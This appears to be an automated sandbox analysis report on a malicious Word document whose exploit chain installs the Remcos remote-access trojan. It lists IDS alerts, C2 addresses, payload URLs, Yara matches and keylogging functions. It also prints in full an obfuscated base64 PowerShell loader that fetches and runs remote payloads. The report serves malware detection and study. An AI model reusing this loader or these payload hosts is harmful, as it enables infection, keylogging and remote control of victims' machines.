                Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49169 -> 216.9.226.100:3898
                Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49172 -> 216.9.226.100:3898
                Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49167 -> 216.9.226.100:3898
                Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49168 -> 216.9.226.100:3898
                Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49171 -> 216.9.226.100:3898
                Source: Network trafficSuricata IDS: 2020424 - Severity 1 - ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1 : 87.106.161.219:80 -> 192.168.2.22:49163
                Source: Network trafficSuricata IDS: 2020425 - Severity 1 - ET EXPLOIT_KIT ReverseLoader Base64 Payload Inbound M2 : 87.106.161.219:80 -> 192.168.2.22:49163
                Source: Network trafficSuricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.22:49173 -> 216.9.226.100:3898
                Source: Network trafficSuricata IDS: 2057635 - Severity 1 - ET MALWARE Reverse Base64 Encoded MZ Header Payload Inbound : 87.106.161.219:80 -> 192.168.2.22:49163
                Source: Network trafficSuricata IDS: 2858295 - Severity 1 - ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain) : 87.106.161.219:80 -> 192.168.2.22:49163
                Source: Network trafficSuricata IDS: 2049038 - Severity 1 - ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2 : 151.101.65.137:443 -> 192.168.2.22:49162
                C2 URLs / IPs found in malware configuration
                Source: Malware configuration extractorIPs: 216.9.226.100
                Yara detected Generic Downloader
                Source: Yara matchFile source: 6.2.powershell.exe.6826590.0.raw.unpack, type: UNPACKEDPE
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_035606D3 URLDownloadToFileW,ShellExecuteW,ExitProcess,2_2_035606D3
                Source: global trafficTCP traffic: 192.168.2.22:49164 -> 216.9.226.100:3898
                Source: global trafficHTTP traffic detected: GET /dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg HTTP/1.1Host: res.cloudinary.comConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /654/HMZRR.txt HTTP/1.1Host: 87.106.161.219Connection: Keep-Alive
                Source: Joe Sandbox ViewIP Address: 151.101.65.137 151.101.65.137
                Source: Joe Sandbox ViewIP Address: 216.9.226.100 216.9.226.100
                Source: Joe Sandbox ViewASN Name: ONEANDONE-ASBrauerstrasse48DE ONEANDONE-ASBrauerstrasse48DE
                Source: Joe Sandbox ViewASN Name: ATT-INTERNET4US ATT-INTERNET4US
                Source: Joe Sandbox ViewJA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
                Source: global trafficHTTP traffic detected: GET /654/givemebestthingswithgreatentierymatterofgood.tiFF HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 87.106.161.219Connection: Keep-Alive
                Source: unknownHTTPS traffic detected: 151.101.65.137:443 -> 192.168.2.22:49162 version: TLS 1.0
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: unknownTCP traffic detected without corresponding DNS query: 87.106.161.219
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXECode function: 2_2_035606D3 URLDownloadToFileW,ShellExecuteW,ExitProcess,2_2_035606D3
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A8C6E74C-C67D-4E9F-83CC-D8033D094614}.tmpJump to behavior
                Source: global trafficHTTP traffic detected: GET /dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg HTTP/1.1Host: res.cloudinary.comConnection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /654/givemebestthingswithgreatentierymatterofgood.tiFF HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 87.106.161.219Connection: Keep-Alive
                Source: global trafficHTTP traffic detected: GET /654/HMZRR.txt HTTP/1.1Host: 87.106.161.219Connection: Keep-Alive
                Source: powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
                Source: global trafficDNS traffic detected: DNS query: res.cloudinary.com
                Source: EQNEDT32.EXE, 00000002.00000002.362376423.00000000005BF000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://87.106.161.219/654/givemebestthingswithgreatentierymatterofgood.tiFF
                Source: EQNEDT32.EXE, 00000002.00000002.362834487.0000000003560000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://87.106.161.219/654/givemebestthingswithgreatentierymatterofgood.tiFFj
                Source: powershell.exe, 00000006.00000002.416036854.0000000004FB1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
                Source: powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
                Source: powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.entrust.net/2048ca.crl0
                Source: powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.entrust.net/server1.crl0
                Source: powershell.exe, 00000006.00000002.416036854.0000000004FB1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
                Source: powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
                Source: powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
                Source: CasPol.exeString found in binary or memory: http://geoplugin.net/json.gp
                Source: powershell.exe, 00000006.00000002.412425287.0000000003959000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: http://geoplugin.net/json.gp/C
                Source: powershell.exe, 00000006.00000002.412303109.00000000007CA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://go.microsoft.c
                Source: powershell.exe, 00000006.00000002.412425287.0000000003819000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
                Source: powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0
                Source: powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0%
                Source: powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0-
                Source: powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com0/
                Source: powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.comodoca.com05
                Source: powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.entrust.net03
                Source: powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://ocsp.entrust.net0D
                Source: powershell.exe, 00000006.00000002.412425287.00000000027F1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                Source: powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.digicert.com.my/cps.htm02
                Source: powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
                Source: powershell.exe, 00000006.00000002.412425287.0000000003819000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
                Source: powershell.exe, 00000006.00000002.412425287.0000000003819000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
                Source: powershell.exe, 00000006.00000002.412425287.0000000003819000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
                Source: powershell.exe, 00000006.00000002.416341807.00000000064A1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/dahall/taskscheduler
                Source: powershell.exe, 00000006.00000002.412425287.0000000003819000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
                Source: powershell.exe, 00000006.00000002.412425287.0000000002929000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://res.cloudinary.com
                Source: powershell.exe, 00000006.00000002.412425287.0000000002929000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.416036854.0000000004F38000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg
                Source: powershell.exe, 00000006.00000002.412425287.0000000002929000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpgt
                Source: powershell.exe, 00000006.00000002.416036854.0000000004F8C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://secure.comodo.com/CPS0
                Source: unknownNetwork traffic detected: HTTP traffic on port 49162 -> 443
                Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49162

                Key, Mouse, Clipboard, Microphone and Screen Capturing

                barindex
                Contains functionality to register a low level keyboard hook
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_004099E4 SetWindowsHookExA 0000000D,004099D0,000000008_2_004099E4
                Installs a global keyboard hook
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWindows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_004159C6 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,8_2_004159C6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_004159C6 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,8_2_004159C6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_004159C6 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,8_2_004159C6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00409B10 GetForegroundWindow,GetWindowThreadProcessId,GetKeyboardLayout,GetKeyState,GetKeyboardState,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,ToUnicodeEx,8_2_00409B10
                Source: Yara matchFile source: 8.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 8.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.412425287.0000000003959000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3532, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 3756, type: MEMORYSTR

                E-Banking Fraud

                barindex
                Yara detected Remcos RAT
                Source: Yara matchFile source: 8.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 8.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000008.00000002.887359657.00000000005E5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000006.00000002.412425287.0000000003959000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3532, type: MEMORYSTR
                Source: Yara matchFile source: Process Memory Space: CasPol.exe PID: 3756, type: MEMORYSTR

                Spam, unwanted Advertisements and Ransom Demands

                barindex
                Contains functionalty to change the wallpaper
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0041BB77 SystemParametersInfoW,8_2_0041BB77

                System Summary

                barindex
                Malicious sample detected (through community Yara rule)
                Source: atthings.doc, type: SAMPLEMatched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
                Source: 8.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 8.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 8.2.CasPol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: 8.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 8.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 8.2.CasPol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
                Source: 00000008.00000002.886927074.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                Source: 00000006.00000002.412425287.0000000003959000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: Process Memory Space: powershell.exe PID: 3532, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: Process Memory Space: powershell.exe PID: 3532, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                Source: Process Memory Space: CasPol.exe PID: 3756, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                Source: C:\Users\user\Desktop\~WRD0000.tmp, type: DROPPEDMatched rule: detects CVE-2017-8759 weaponized RTF documents. Author: ditekSHen
                Windows Scripting host queries suspicious COM object (likely to drop second stage)
                Source: C:\Windows\SysWOW64\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgIDJump to behavior
                Wscript starts Powershell (via cmd or directly)
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $dialoguer = 'JGNvbXBhY3Rpb24gPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskZGV0b3hpY2F0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyR0aG9sZWlpdGUgPSAkZGV0b3hpY2F0ZXMuRG93bmxvYWREYXRhKCRjb21wYWN0aW9uKTskZmxvb3Jib2FyZCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCR0aG9sZWlpdGUpOyRwYXNzYWdld2F5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRjaG9sZXJhaWMgPSAnPDxCQVNFNjRfRU5EPj4nOyRleHB1cmdhdGVzID0gJGZsb29yYm9hcmQuSW5kZXhPZigkcGFzc2FnZXdheSk7JHNpY2NpbmcgPSAkZmxvb3Jib2FyZC5JbmRleE9mKCRjaG9sZXJhaWMpOyRleHB1cmdhdGVzIC1nZSAwIC1hbmQgJHNpY2NpbmcgLWd0ICRleHB1cmdhdGVzOyRleHB1cmdhdGVzICs9ICRwYXNzYWdld2F5Lkxlbmd0aDskYWxiaW5vdGljID0gJHNpY2NpbmcgLSAkZXhwdXJnYXRlczskc2VlZGNha2UgPSAkZmxvb3Jib2FyZC5TdWJzdHJpbmcoJGV4cHVyZ2F0ZXMsICRhbGJpbm90aWMpOyRmcmVha2luZyA9IC1qb2luICgkc2VlZGNha2UuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJHNlZWRjYWtlLkxlbmd0aCldOyRncmVldGVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZnJlYWtpbmcpOyRjaGluZXMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRncmVldGVkKTskcGludGFpbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwaW50YWlsLkludm9rZSgkbnVsbCwgQCgndHh0LlJSWk1ILzQ1Ni85MTIuMTYxLjYwMS43OC8vOnB0dGgnLCAnJGNhbW9taWxlJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCAnQ2FzUG9sJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCcxJywnJGNhbW9taWxlJykpOw==';$crunodes = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($dialoguer));Invoke-Expression $crunodes
                Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $dialoguer = 'JGNvbXBhY3Rpb24gPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcgJzskZGV0b3hpY2F0ZXMgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyR0aG9sZWlpdGUgPSAkZGV0b3hpY2F0ZXMuRG93bmxvYWREYXRhKCRjb21wYWN0aW9uKTskZmxvb3Jib2FyZCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCR0aG9sZWlpdGUpOyRwYXNzYWdld2F5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRjaG9sZXJhaWMgPSAnPDxCQVNFNjRfRU5EPj4nOyRleHB1cmdhdGVzID0gJGZsb29yYm9hcmQuSW5kZXhPZigkcGFzc2FnZXdheSk7JHNpY2NpbmcgPSAkZmxvb3Jib2FyZC5JbmRleE9mKCRjaG9sZXJhaWMpOyRleHB1cmdhdGVzIC1nZSAwIC1hbmQgJHNpY2NpbmcgLWd0ICRleHB1cmdhdGVzOyRleHB1cmdhdGVzICs9ICRwYXNzYWdld2F5Lkxlbmd0aDskYWxiaW5vdGljID0gJHNpY2NpbmcgLSAkZXhwdXJnYXRlczskc2VlZGNha2UgPSAkZmxvb3Jib2FyZC5TdWJzdHJpbmcoJGV4cHVyZ2F0ZXMsICRhbGJpbm90aWMpOyRmcmVha2luZyA9IC1qb2luICgkc2VlZGNha2UuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJHNlZWRjYWtlLkxlbmd0aCldOyRncmVldGVkID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkZnJlYWtpbmcpOyRjaGluZXMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRncmVldGVkKTskcGludGFpbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwaW50YWlsLkludm9rZSgkbnVsbCwgQCgndHh0LlJSWk1ILzQ1Ni85MTIuMTYxLjYwMS43OC8vOnB0dGgnLCAnJGNhbW9taWxlJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCAnQ2FzUG9sJywgJyRjYW1vbWlsZScsICckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCckY2Ftb21pbGUnLCcxJywnJGNhbW9taWxlJykpOw==';$crunodes = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($dialoguer));Invoke-Expression $crunodesJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess Stats: CPU usage > 49%
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEMemory allocated: 770B0000 page execute and read and writeJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeMemory allocated: 770B0000 page execute and read and writeJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeMemory allocated: 770B0000 page execute and read and writeJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_004158B9 ExitWindowsEx,LoadLibraryA,GetProcAddress,8_2_004158B9
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_002173D06_2_002173D0
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 6_2_0021537A6_2_0021537A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0041D0718_2_0041D071
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_004520D28_2_004520D2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0043D0988_2_0043D098
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_004371508_2_00437150
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_004361AA8_2_004361AA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_004262548_2_00426254
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_004313778_2_00431377
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0043651C8_2_0043651C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0041E5DF8_2_0041E5DF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0044C7398_2_0044C739
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_004367C68_2_004367C6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_004267CB8_2_004267CB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0043C9DD8_2_0043C9DD
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00432A498_2_00432A49
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00436A8D8_2_00436A8D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0043CC0C8_2_0043CC0C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00436D488_2_00436D48
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00434D228_2_00434D22
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00426E738_2_00426E73
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_00440E208_2_00440E20
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 8_2_0043CE3B8_2_0043CE3B
